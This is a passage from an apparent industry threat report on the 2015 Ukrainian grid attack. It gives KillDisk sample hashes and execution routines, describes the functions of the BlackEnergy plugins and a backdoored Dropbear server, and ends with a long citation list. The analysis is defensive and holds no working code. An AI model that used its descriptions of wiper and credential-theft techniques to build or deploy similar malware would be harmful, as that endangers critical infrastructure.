threat actors, actively delivering the malware to the targeted system. In addition to targeting the electricity distributors in December 2015, several of the KillDisk samples analyzed for this report were also reported in attacks against a Ukrainian railway operatoras and Ukrainian mining companyat,au in November and December 2015.269 ao. Appendix B.18: KillDisk (Sample 5) (MD5: 66676deaa9dfe98f8497392064aefbab) ap. Appendix B.16: KillDisk (Sample 3) (MD5: 7361b64ddca90a1a1de43185bd509b64) aq. Appendix B.18: KillDisk (Sample 5) (MD5: 66676deaa9dfe98f8497392064aefbab) ar. Appendix B.16: KillDisk (Sample 3) (MD5: 7361b64ddca90a1a1de43185bd509b64) as. Ibid at. Appendix B.15: KillDisk (Sample 2) (MD5: 72bd40cd60769baffd412b84acc03372) au. Appendix B.17: KillDisk (Sample 4) (MD5: cd1aa880f30f9b8bb6cf4d4f9e41ddf4) boozallen.com/ics 53 A P P E N D I X B . 1 4 : KILLDISK (SAMPLE 1) SHA1: aa0aaa7002bdfe261ced99342a6ee77e0afa2719 SHA-256: 30862ab7aaa6755b8fab0922ea819fb48487c063bea4a84174afbbd65ce26b86 MD5: 108fedcb6aa1e79eb0d2e2ef9bc60e7a Type: Win32 Executable270 First Upload: 2016-03-22 11:54:29 UTC271 Compile Timestamp: 2015-10-24 18:19:30272 Final Modification Timestamp: 2015:10:24 19:19:3001:00273 File Size: 110592 bytes274 Language Settings: English US275 File Names: 1.1276 Technical Notes: This KillDisk sample executes a destructive disk overwrite function. Following execution, data may be recoverable. Execution Routine: 1. Shortly after running, the executable creates a process C:\WINDOWS\svchost.exe -service that runs as a child of services.exe it runs in such fashion because it is installed as service msDefenderSvc. 2. The executable then overwrites (with zeros) the first 131072 bytes of \Device\Harddisk0\DR0, effectively rendering the OS unusable upon reboot. 3. While running, the machine sustains a critical error, and upon reboot displays Operating system not found. The machine sustains this critical system error before additional files are overwritten, indicating some data may be recoverable.
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data/reports_final/0273.txt
Related Samples: N/A 56 Booz Allen Hamilton A P P E N D I X B . 1 8 : KILLDISK (SAMPLE 5) SHA1: 6d6ba221da5b1ae1e910bbeaa07bd44aff26a7c0 SHA-256: 11b7b8a7965b52ebb213b023b6772dd2c76c66893fc96a18a9a33c8cf125af80 MD5: 66676deaa9dfe98f8497392064aefbab Type: Win32 Executable298 First Upload: 2015-10-25 23:07:26299 Compile Timestamp: 2015-10-24 13:49:03300 Final Modification Timestamp: 2015:10:24 14:49:0301:00301 File Size: 126976 bytes302 Language Settings: English US303 File Names:304 trololo.exe 123.txt ololo.exe ololo.txt virus_ololo.dat Technical Notes: This KKillDisk sample executes a destructive disk overwrite function. In addition to destroying critical OS data, the sample also overwrites thousands of additional files, including log files.305 Following execution, data is not likely recoverable. Execution Routine: 1. The executable runs as own process rather than running an embedded file as a child process, as was observed in other samples. 2. The executable overwrites (with blanks/spaces) the first 131072 bytes of \Device\Harddisk0\ DR0, effectively rendering the OS unusable upon reboot. 3. After overwriting OS data, the executable continues to overwrite thousands of files, causing the system to remain powered but unusable. Data destruction takes long time and does not immediately trigger a critical system error. 4. Following reboot, the system displays reboot error: Operating system not found. Related Samples: N/A boozallen.com/ics 57 BlackEnergy (BE) was first observed in 2007 and has since been used by a wide range of threat actors, predominantly criminal groups, to conduct a diverse collection of malicious campaigns.306 BE has been observed as an enabling tool in distributed denial-of-service (DDoS) attacks, theft of banking credentials, widespread reconnaissance and cyberespio- nage,307 and ultimately disruptive industrial control systems (ICS) attacks in Ukraine. The BE plugins identified reflect the diverse use of this malware, and the significant overlap in function- ality across different plugins indicates that several distinct groups are actively using the tool. At least 14 BE plugins have been identified in public reporting, including:308,309 FS.dll: Functions as a data exfiltration tool gathers documents and private keys by search for specific file extensions SI.dll: Searches infected machines for specific configuration and operational data JN.dll: Functions as a parasitic infector fixes checksum values in PE headers, fixes CRC32 Nullsoft value, and deletes digital signatures to avoid invalidation KI.dll: Records user key strokes on infected machines PS.dll: Searches infected machines for user credentials SS.dll: Captures screenshots on infected machines VS.dll: Functions as a network discovery and remote execution tool. Scans the infected network to identify connected network resources, retrieves remote desktop credentials, and attempts to establish connections. Uses PsExec, which is embedded in the plugin, to gather system information and launch executables on remote machines TV.dll: Searches for TeamViewer versions 68. If the targeted application is identified, the plugin sets an additional password, creating an additional backdoor into the compromised system RD.dll: Functions as a pseudo remote desktop server UP.dll: Used to update the hosted malware DC.dll: Identifies Windows accounts on the infected system BS.dll: Conducts system profiling through queries of system hardware, BIOS, and Windows information DSTR.dll: Functions as a logic bomb. At a specified time, the plugin rewrites files with specific extensions with random data, deletes itself, and deletes the first 11 sectors of system drive, then rewrites all remaining data SCAN.dll: Functions as a network scanner on infected systems. Of particular interest in the attacks against Ukrainian electricity distributors are the SI and PS plugins. As plugins designed specifically to search for credential data, SI or PS are the likely plugins used following the initial infection. Data destruction was also a component of the final stages of the attack, and though BE has a dedicated data destruction plugin, DSTR.dll, public reporting indicates that the disk-wiping component of the attack was achieved using the KillDisk malware. A P P E N D I X C : BlackEnergy Plugins boozallen.com/ics 59 The SI plugin gathers a wide range of systems data. Using the systeminfo.exe utility, SI gathers configuration information, including OS version, privileges, current time, up time, idle time, and proxy.310 SI also identifies:311 Installed applications, using the uninstall program registry Process list, using the tasklist.exe utility IP configurations, using the ipconfig.exe utility Network connections, using the netstat.exe utility Routing tables, using the route.exe utility Traceroute and Ping information to Google, using tracert.exe and ping.exe Mail, browser, and instant messaging clients. Of particular interest is its targeting of password managers and stored user credentials.312 SI is designed to pull credentials from The Bat email client, Mozilla password manager, Google Chrome password manager, Outlook and Outlook Express, Internet Explorer, and Windows Credential Store, including credentials for Windows Live messenger services, Remote Desktop, and WinINET.313 If any of these applications or services were deployed on the targeted systems, they would present a viable avenue for gathering the valid user credentials that the threat actors ultimately obtained in their attack. The PS.dll plugin is also specifically designed to search and exfiltrate credentials,314 and may have been used in the attack. Similarly, the KI.dll may have been used to record and transfer keystrokes during user authentication, as some public reporting speculates.315 Detail on the specific function of these two plugins was not listed in public sources, and samples of the .dll files were not located for analysis. Of the 15 plugins mentioned in this report, most were initially developed for BE2, though they could be recompiled for use with BE3.316 According to reporting in September 2015, SI was the only plugin analyzed by security researchers that had been updated for use with BE3 at that time317 this indicates SI may have been the tool used in the December 2015 attacks. Later reporting, in January 2015, indicated that all 14 of the plugins had been modified for compatibility with BE3.318 60 Booz Allen Hamilton Though the primary tool in the Ukraine attacks was BlackEnergy (BE) 3, as noted above, several other remote access trojans (RAT) were observed in the phishing campaign leading up to the attacks.319 Several reports discussed the use of a modified version of Dropbear,320,321,322 an open-source SSH server and client executable designed as a lightweight server primarily for Linux-based embedded systems.323 As with BE3, the modified Dropbear was launched using a Visual Basic (VB) scriptav delivered via a weapon- ized Microsoft (MS) Excel document.324 At launch, the server is set to listen at port 6789.325 The modified version of the Dropbear server contained two backdoors, a hardcoded public key authentication process, and a hardcoded username and password, allowing threat actors to authenticate into the targeted system.326 One of the benefits, from an attackers perspective, of using a RAT such as the modified Dropbear server, is that it is not inherently malicious, and unlike other RATs, it may not be recognized by automated scanners designed to recognize potentially malicious files.327 Using an open- source SSH client like Dropbear in the initial infection would also limit the risk of exposing a more complex and valuable piece of malware, such as BE3 if the malware is discovered, it would not represent a significant loss from the attackers perspective. During analysis of BE3 malware samples, analysts did not find any technical link between BE3 and the other referenced RATs: GCat, Dropbear, and Kryptik. It is possible, as some public reporting indicates, that these additional trojans were used by the same threat actors that conducted the attack on the electrical grid in the attack the threat actors used at least two separate malware applications, BE3 and KillDisk. There is no technical evidence to confirm these additional trojans were used by the same group though, and it is possible they had been delivered to the targeted systems as part of separate, unrelated attacks.
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data/reports_final/0274.txt
A P P E N D I X D : Alternate Remote Access Trojans av. Appendix B.6: Dropbear Installer (DropbearRun.vbs) (MD5: 0af5b1e8eaf5ee4bd05227bf53050770) boozallen.com/ics 61 1. IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicin- telligence.net/NCCIC-UkrainianPowerAttack.pdf. 2. - - , TSN, December 24, 2015, accessed April 13, 2016, http://ru.tsn.ua/ukrayina/iz-za-hakerskoy-ataki-obestochilo-polovinu-ivano-fran- kovskoy-oblasti-550406.html. 3. , , December 23, 2015, accessed July 12, 2016, hxxp://www.oe.if.ua/showarticle.php?id3413. 4. BlackEnergy2/3. , Cys Centrum, June 1, 2016, accessed July 12, 2016, hxxps://cys-centrum.com/ru/news/black_energy_2_3. 5. Blake Sobczak and Peter Behr, Inside the diabolical Ukrainian hack that put the U.S. grid on high alert, Environment Energy Publishing, July 18, 2016, accessed July 21, 2016, hxxp://archive.is/lnnBf. 6. Robert M. Lee, Michael J. Assante, and Tim Conway, Analysis of the Cyber Attack on the Ukrainian Power Grid Defense Use Case, SANS Institute and Electricity Information Sharing and Analysis Center, March 18, 2016, accessed July 12, 2016, hxxps://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf. 7. IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicin- telligence.net/NCCIC-UkrainianPowerAttack.pdf. 8. Blackenergy Quedagh: The convergence of crimeware and APT attacks, F-Secure Labs Security Response, accessed July 12, 2016, hxxps://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf. 9. Robert Lipovsky and Anton Cherapanov, Last-minute paper: Back in BlackEnergy: 2014 targeted attacks in the Ukraine and Poland , Virus Bulletin, September 25, 2015, accessed July 12, 2016, hxxps://www.virusbulletin.com/conference/vb2014/ abstracts/back-blackenergy-2014-targeted-attacks-ukraine-and-poland. 10. BlackEnergy2/3. , Cys-Centrum, June 1, 2016, accessed August 15, 2016, hxxp://cys-centrum.com/ru/news/black_energy_2_3. 11. Kyle Wilhoit, KillDisk and BlackEnergy Are Not Just Energy Sector Threats, Trend Micro, February 11, 2016, accessed July 20, 2016, hxxp://blog.trendmicro.com/trendlabs-security-intelligence/killdisk-and-blackenergy-are-not-just-energy-sector-threats/. 12. BlackEnergy2/3. , Cys-Centrum, June 1, 2016, accessed August 15, 2016, hxxp://cys-centrum.com/ru/news/black_energy_2_3. 13. Ibid. 14. Ibid. 15. Ibid. 16. Ibid. 17. Stephen Ward, iSIGHT discovers zero-day vulnerability CVE-2014-4114 used in Russian cyber-espionage campaign, iSight- Partners, October 14, 2014, accessed August 15, 2016, hxxps://www.isightpartners.com/2014/10/cve-2014-4114/. 18. BlackEnergy2/3. , Cys-Centrum, June 1, 2016, accessed August 15, 2016, hxxp://cys-centrum.com/ru/news/black_energy_2_3. 19. Stephen Ward, iSIGHT discovers zero-day vulnerability CVE-2014-4114 used in Russian cyber-espionage campaign, iSight- Partners, October 14, 2014, accessed August 15, 2016, hxxps://www.isightpartners.com/2014/10/cve-2014-4114/. 20. BlackEnergy2/3. , Cys-Centrum, June 1, 2016, accessed August 15, 2016, hxxp://cys-centrum.com/ru/news/black_energy_2_3. 21. Ibid. A P P E N D I X E : Sources boozallen.com/ics 63 22. Ibid. 23. Ibid. 24. Ibid. 25. Black Energy, CERT-UA, September 11, 2012, accessed July 19, 2016, hxxp://cert. gov.ua/?p2370. 26. Aleksey Yasinskiy, DISMANTLING BLACKENERGY, PART 3 ALL ABOARD SOCPrime, March 29, 2016, accessed August 19, 2016, hxxps://socprime.com/en/blog/dismantling-blackenergy-part-3-all-aboard/. 27. Kyle Wilhoit, KillDisk and BlackEnergy Are Not Just Energy Sector Threats, Trend Micro, February 11, 2016, accessed July 20, 2016, hxxp://blog.trendmicro.com/trendlabs-security-intelligence/killdisk-and-blackenergy-are-not-just-energy-sector-threats/. 28. Ibid. 29. 19-20 2016 . , Cys-Centrum, January 29, 2016, accessed August 22, 2016, hxxps://cys-centrum.com/ru/news/attack_on_energy_facilities_jan_ps. 30. Robert Lipovsky, New wave of cyberattacks against Ukrainian power industry, We Live Security, January 20, 2016, accessed August 22, 2016, hxxp://www.welivesecurity.com/2016/01/20/new-wave-attacks-ukrainian-power-industry/. 31. 19-20 2016 . , Cys-Centrum, January 29, 2016, accessed August 22, 2016, hxxps://cys-centrum.com/ru/news/attack_on_energy_facilities_jan_ps. 32. Ibid. 33. Russian Hackers plan energy subersion in Ukraine, Ukrinform, December 28, 2015, accessed July 19, 2016, hxxp://www.ukrinform.net/rubric-crime/1937899-russian-hackers-plan-energy-subversion-in-ukraine.html. 34. Pavel Polityuk, Ukraine sees Russian hand in cyber attacks on power grid, Reuters, February 12, 2016, accessed August 22, 2016, hxxp://www.reuters.com/article/us-ukraine-cybersecurity-idUSKCN0VL18E. 35. Jose Nazario, BlackEnergy DDoS Bot Analysis Available, Arbor Networks, October 12, 2007, accessed July 14, 2016, hxxps://www.arbornetworks.com/blog/asert/blackenergy-ddos-bot-analysis-available/. 36. Kelly Jackson Higgins, New BlackEnergy Trojan Targeting Russian, Ukrainian Banks, DarkReading, March 4, 2010, accessed July 14, 2016, hxxp://www.darkreading.com/vulnerabilities---threats/new-blackenergy-trojan-targeting-russian-ukrainian-ban ks/d/d-id/1133120. 37. Brian Prince, Russian Banking Trojan BlackEnergy 2 Unmasked at RSA, eWeek, March 4, 2010, accessed July 14, 2016, hxxp://www.eweek.com/c/a/Security/Russian-Banking-Trojan-BlackEnergy-2-Unmasked-at-RSA-883053. 38. Brian Prince, Security Researcher Asserts Russian Role in Georgia Cyber-attacks, eWeek, August 13, 2008, accessed July 14, 2016, hxxp://www.eweek.com/c/a/Security/Security-Researcher-Asserts-Russian-Role-in-Georgia-Cyber-Attacks. 39. John Hultquist, Sandworm Team Targeting SCADA Systems, iSight Partners, October 21, 2014, accessed July 14, 2016, hxxps://www.isightpartners.com/tag/blackenergy-malware/. 40. Jim Finkle, Russian hackers target NATO, Ukraine and others: iSight, Reuters, October 14, 2014, accessed July 14, 2016, hxxp://www.reuters.com/article/us-russia-hackers-idUSKCN0I308F20141014. 41. Black Energy, CERT-UA, September 11, 2015, accessed July 13, 2016, hxxp://cert. gov.ua/?p2370. 42. Blackenergy Quedagh: The convergence of crimeware and APT attacks, F-Secure Labs Security Response, accessed July 12, 2016, hxxps://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf. 43. Ukrainian Lawmakers Introduce a Bill on Nationalizing Russias Assets, Russia Insider, April 23, 2015, accessed July 14, 2016, hxxp://russia-insider.com/en/ukrainian-lawmakers-introduce-bill-nationalizing-russias-assets/5993. 64 Booz Allen Hamilton 44. Ukrainian MPs propose to nationalize Russian assets, People Investigator, April 4, 2015, accessed July 14, 2016, hxxp:// peopleinvestigator.us/politics/308-ukrainian-mps-propose-to-nationalize-russian-assets.html. 45. Kim Zetter, Inside the Cunning Unprecedented Hack of Ukraines Power Grid, Wired, March 3, 2016, accessed July 13, 2016, hxxps://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/. 46. List of persons and entities under EU restrictive measures over the territorial integrity of Ukraine, Council of the European Union, September 15, 2015, accessed July 14, 2016, hxxp://www.consilium.europa.eu/en/press/press-releases/2015/09/ pdf/150915-sanctions-table---persons--and-entities_pdf/. 47. Brad Well, Corporte Governance in Ukraine: Passing Go, Concorde Capital, October 2011, accessed July 14, 2016, hxxp:// concorde.ua/en/getfile/129/3/. 48. Pierluigi Paganini, BlackEnergy infected also Ukrainian Mining and Railway Systems, Security Affairs, February 13, 2016, accessed July 14, 2016, hxxp://securityaffairs.co/wordpress/44452/hacking/blackenergy-mining-and-railway-systems.html. 49. Maria Snegovaya, Putins information Warfare in Ukraine: Soviet Origins of Russias Hybrid Warfare, Institute for the Study of War, September 2015, accessed July 14, 2016, hxxp://understandingwar.org/sites/default/files/Russian20Report20120 Putins20Information20Warfare20in20Ukraine-20Soviet20Origins20of20Russias20Hybrid20Warfare.pdf. 50. Anna Shamanska, Explainer: Why Ukraine Supplies Electricity To Crimea, And Why It Stopped, Radio Free Europe, Radio Liberty, July 14, 2016, accessed July 14, 2016, hxxp://www.rferl.org/content/ukraine-crimea-power-supply-electricity-ex- plainer/27384812.html. 51. Neil MacFarquhar, Crimea in Dark After Power Lines Are Blown Up, New York Times, November 22, 2015, accessed July 14, 2016, hxxp://www.nytimes.com/2015/11/23/world/europe/power-lines-to-crimea-are-blown-up-cutting-off-electricity. html?_r0. 52. Crimea hit by power blackout and Ukraine trade boycott, BBC News, November 23, 2015, accessed July 14, 2016, hxxp:// www.bbc.com/news/world-europe-34899491. 53. Anna Shamanska, Explainer: Why Ukraine Supplies Electricity To Crimea, And Why It Stopped, Radio Free Europe, Radio Liberty, July 14, 2016, accessed July 14, 2016, hxxp://www.rferl.org/content/ukraine-crimea-power-supply-electricity-ex- plainer/27384812.html. 54. Dragonfly: Cyberespionage Attacks Against Energy Suppliers, Symantec, July 7, 2014, accessed July 19, 2016, hxxps://www. symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_ Suppliers.pdf. 55. Alert (ICS-ALERT-14-281-01E), US Department of Homeland Security Industrial Control System Computer Emergency Response Team, December 10, 2014, modified March 2, 2016, accessed July 12, 2016, hxxps://ics-cert.us-cert.gov/alerts/ ICS-ALERT-14-281-01B. 56. Michael J. Assante and Robert M. Lee, The Industrial Control System Cyber Kill Chain, SANS Institute, October 2015, accessed July 12, 2016, hxxps://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297. 57. Eric M. Hutchins, Michael J. Clopperty, and Rohan M. Amin, Intelligence-Driven Computer Network Defense Informed by Analysis of Adversary Campaigns and Intrusion Kill Chains, Lockheed martin Corporation, 2011, accessed September 12, 2016, hxxp://www.lockheedmartin.com/content/dam/lockheed/data/corporate/documents/LM-White-Paper-Intel-Driven- Defense.pdf. 58. Kim Zetter, Inside the Cunning Unprecedented Hack of Ukraines Power Grid, Wired, March 3, 2016, accessed July 13, 2016, hxxps://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/. 59. IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicin- telligence.net/NCCIC-UkrainianPowerAttack.pdf. 60. Ibid. boozallen.com/ics 65 61. Ibid. 62. Ibid. 63. IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicin- telligence.net/NCCIC-UkrainianPowerAttack.pdf. 64. Remote Terminal Unit RTU560 System Description Release 6.2, ABB Utilities GmbH, May 2003, accessed August 22, 2016, vfservis.cz/files/000290_RTU560_SD_R6.pdf. 65. Kim Zetter, Inside the Cunning Unprecedented Hack of Ukraines Power Grid, Wired, March 3, 2016, accessed July 13, 2016, hxxps://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/. 66. IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicin- telligence.net/NCCIC-UkrainianPowerAttack.pdf. 67. Kim Zetter, Inside the Cunning Unprecedented Hack of Ukraines Power Grid, Wired, March 3, 2016, accessed July 13, 2016, hxxps://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/. 68. Peter Behr and Blake Sobczak, Grid hack exposes troubling security gaps for local utilities, Environment and Energy Publishing, July 20, 2016, accessed August 22, 2016, hxxp://www.eenews.net/stories/1060040519. 69. Ibid. 70. ICS-CERT Monitor, ICS-CERT, November/December 2015, accessed October 26, 2016, hxxps://ics-cert.us-cert.gov/sites/ default/files/Monitors/ICS-CERT_Monitor_Nov-Dec2015_S508C.pdf. 71. Ibid. 72. Ongoing Sophisticated Malware Campaign Compromising ICS (Update B), ICS-CERT, last updated November 17, 2015, accessed October 26, 2016, hxxps://web.archive.org/web/20151117164746/https://ics-cert.us-cert.gov/alerts/ ICS-ALERT-14-281-01B. 73. Bill Gertz, Moscow Suspected in Hack of U.S. Industrial Control Systems, Washington Free Beacon, October 31, 2014, accessed October 26, 2016, hxxp://freebeacon.com/national-security/ moscow-suspected-in-hack-of-u-s-industrial-control-systems/. 74. Ongoing Sophisticated Malware Campaign Compromising ICS (Update B), ICS-CERT, last updated November 17, 2015, accessed October 26, 2016, hxxps://web.archive.org/web/20151117164746/https://ics-cert.us-cert.gov/alerts/ ICS-ALERT-14-281-01B. 75. 35-110 , PJSC Kyivoblenergo, January 2, 2016, accessed August 22, 2016, hxxp://www.koe.vsei.ua/koe/documents/Zvedena_forma_I_2016(14-03-16).pdf. 76. , PJSC EK Chernivtsioblenergo, accessed August 22, 2016, hxxp://www.oblenergo.cv.ua/about.php. 77. Company Overview of Public Joint Stock Company Prykarpattyaoblenergo, Bloomberg, accessed August 22, 2016, hxxp:// www.bloomberg.com/Research/stocks/private/snapshot.asp?privcapid2559975. 78. , Galician Computer Company, accessed August 22, 2016, htxxtp://galcomcomp.com/index. php/ru/nashi-proekty. 79. Comprehensive Analysis Report on Ukraine Power System Attacks, Antiy Labs, March 16, 2016, accessed July 12, 2016, hxxp://www.antiy.net/p/comprehensive-analysis-report-on-ukraine-power-system-attacks/. 80. Michael J. Assante and Robert M. Lee, The Industrial Control System Cyber Kill Chain, SANS Institute, October 2015, accessed July 12, 2016, hxxps://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297. 66 Booz Allen Hamilton 81. GReAT, BlackEnergy APT Attacks in Ukraine employ spearphishing with Word documents, SecureList, January 28, 2016, accessed July 12, 2016, hxxps://securelist.com/blog/research/73440/ blackenergy-apt-attacks-in-ukraine-employ-spearphishing-with-word-documents/. 82. Udi Shamir, Analyzing a New Variant of BlackEnergy 3 Likely Insider-Based Execution, SentinelOne, 2016, accessed July 12, 2016, hxxps://www.sentinelone.com/wp-content/uploads/2016/01/BlackEnergy3_WP_012716_1c.pdf. 83. Robert Lipovsky and Anton Cherapanov, Last-minute paper: Back in BlackEnergy: 2014 targeted attacks in the Ukraine and Poland, Virus Bulletin, September 25, 2015, accessed July 12, 2016, hxxps://www.virusbulletin.com/conference/vb2014/ abstracts/back-blackenergy-2014-targeted-attacks-ukraine-and-poland. 84. Blackenergy Quedagh: The convergence of crimeware and APT attacks, F-Secure Labs Security Response, accessed July 12, 2016, hxxps://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf. 85. Ibid. 86. Pavel Polityuk, Ukraine sees Russian hand in cyber attacks on power grid, Reuters, February 12, 2016, accessed August 22, 2016, hxxp://www.reuters.com/article/us-ukraine-cybersecurity-idUSKCN0VL18E. 87. IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicin- telligence.net/NCCIC-UkrainianPowerAttack.pdf. 88. Robert M. Lee, Michael J. Assante, and Tim Conway, Analysis of the Cyber Attack on the Ukrainian Power Grid Defense Use Case, SANS Institute and Electricity Information Sharing and Analysis Center, March 18, 2016, accessed July 12, 2016, hxxps://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf. 89. BlackEnergy2/3. , Cys Centrum, June 1, 2016, accessed July 12, 2016, hxxps://cys-centrum.com/ru/news/black_energy_2_3. 90. Ibid. 91. Ibid. 92. IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicin- telligence.net/NCCIC-UkrainianPowerAttack.pdf. 93. byt3bl33d3r, Gcat, GitHub, June 9, 2016, accessed July 14, 2016, hxxps://github.com/byt3bl33d3r/gcat/blob/master/ README.md. 94. Matt Johnston, Dropbear SSH, University of Western Australia University Computer Club, accessed July 12, 2016, hxxps:// matt.ucc.asn.au/dropbear/dropbear.html. 95. Dianne Lagrimas, TROJ_KRYPTIK, Trend Micro, October 9, 2012, accessed July 14, 2016, hxxp://www.trendmicro.com/vinfo/ us/threat-encyclopedia/malware/TROJ_KRYPTIK. 96. IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicin- telligence.net/NCCIC-UkrainianPowerAttack.pdf. 97. UISGCON11. 2015 , Cys-Centrum, June 12, 2015, accessed August 22, 2016, hxxps://cys-centrum.com/ru/news/uisgcon11_2015pic-5. 98. Robert M. Lee, Michael J. Assante, and Tim Conway, Analysis of the Cyber Attack on the Ukrainian Power Grid Defense Use Case, SANS Institute and Electricity Information Sharing and Analysis Center, March 18, 2016, accessed July 12, 2016, hxxps://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf. boozallen.com/ics 67 99. IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicin- telligence.net/NCCIC-UkrainianPowerAttack.pdf. 100. Robert Lipovsky and Anton Cherapanov, Back in BlackEnergy: 2014 targeted attacks in the Ukraine and Poland, Virus Bulletin, October 14, 2014, accessed July 12, 2016, hxxps://www.youtube.com/watch?vI77CGqQvPE4. 101. Blackenergy Quedagh: The convergence of crimeware and APT attacks, F-Secure Labs Security Response, accessed July 12, 2016, hxxps://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf. 102. Ibid. 103. Robert Lipovsky and Anton Cherapanov, Last-minute paper: Back in BlackEnergy: 2014 targeted attacks in the Ukraine and Poland, Virus Bulletin, September 25, 2015, accessed July 12, 2016, hxxps://www.virusbulletin.com/conference/vb2014/ abstracts/back-blackenergy-2014-targeted-attacks-ukraine-and-poland. 104. Blackenergy Quedagh: The convergence of crimeware and APT attacks, F-Secure Labs Security Response, accessed July 12, 2016, hxxps://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf. 105. Robert Lipovsky and Anton Cherapanov, Last-minute paper: Back in BlackEnergy: 2014 targeted attacks in the Ukraine and Poland, Virus Bulletin, September 25, 2015, accessed July 12, 2016, hxxps://www.virusbulletin.com/conference/vb2014/ abstracts/back-blackenergy-2014-targeted-attacks-ukraine-and-poland. 106. IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicin- telligence.net/NCCIC-UkrainianPowerAttack.pdf. 107. Kim Zetter, Inside the Cunning Unprecedented Hack of Ukraines Power Grid, Wired, March 3, 2016, accessed July 13, 2016, hxxps://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/. 108. Aleksey Yasinskiy, DISMANTLING BLACKENERGY, PART 3 ALL ABOARD SOCPrime, March 29, 2016, accessed August 19, 2016, hxxps://socprime.com/wp-content/uploads/2016/03/blackenergy-p3_16-1.jpg. 109. Robert M. Lee, Michael J. Assante, and Tim Conway, Analysis of the Cyber Attack on the Ukrainian Power Grid Defense Use Case, SANS Institute and Electricity Information Sharing and Analysis Center, March 18, 2016, accessed July 12, 2016, hxxps://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf. 110. Michael J. Assante and Robert M. Lee, The Industrial Control System Cyber Kill Chain, SANS Institute, October 2015, accessed July 12, 2016, hxxps://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297. 111. Robert M. Lee, Michael J. Assante, and Tim Conway, Analysis of the Cyber Attack on the Ukrainian Power Grid Defense Use Case, SANS Institute and Electricity Information Sharing and Analysis Center, March 18, 2016, accessed July 12, 2016, hxxps://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf. 112. IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicin- telligence.net/NCCIC-UkrainianPowerAttack.pdf. 113. Michael J. Assante and Robert M. Lee, The Industrial Control System Cyber Kill Chain, SANS Institute, October 2015, accessed July 12, 2016, hxxps://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297. 114. Robert Lipovsky and Anton Cherapanov, Last-minute paper: Back in BlackEnergy: 2014 targeted attacks in the Ukraine and Poland, Virus Bulletin, September 25, 2015, accessed July 12, 2016, hxxps://www.virusbulletin.com/conference/vb2014/ abstracts/back-blackenergy-2014-targeted-attacks-ukraine-and-poland. 115. Aleksey Yasinskiy, DISMANTLING BLACKENERGY, PART 3 ALL ABOARD SOCPrime, March 29, 2016, accessed August 19, 2016, hxxps://socprime.com/en/blog/dismantling-blackenergy-part-3-all-aboard/. 68 Booz Allen Hamilton 116. Robert M. Lee, Michael J. Assante, and Tim Conway, Analysis of the Cyber Attack on the Ukrainian Power Grid Defense Use Case, SANS Institute and Electricity Information Sharing and Analysis Center, March 18, 2016, accessed July 12, 2016, hxxps://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf. 117. Kim Zetter, Inside the Cunning Unprecedented Hack of Ukraines Power Grid, Wired, March 3, 2016, accessed July 13, 2016, hxxps://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/. 118. Michael J. Assante and Robert M. Lee, The Industrial Control System Cyber Kill Chain, SANS Institute, October 2015, accessed July 12, 2016, 